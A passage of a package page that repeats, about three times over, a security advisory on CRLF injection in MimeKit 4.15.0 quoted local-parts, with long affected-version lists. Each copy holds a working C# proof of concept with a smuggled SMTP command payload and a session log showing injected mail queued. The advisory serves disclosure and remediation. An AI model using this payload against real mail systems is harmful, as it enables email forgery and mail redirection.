quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Mar 14, 2020

2.5.1 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Feb 15, 2020

2.5.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


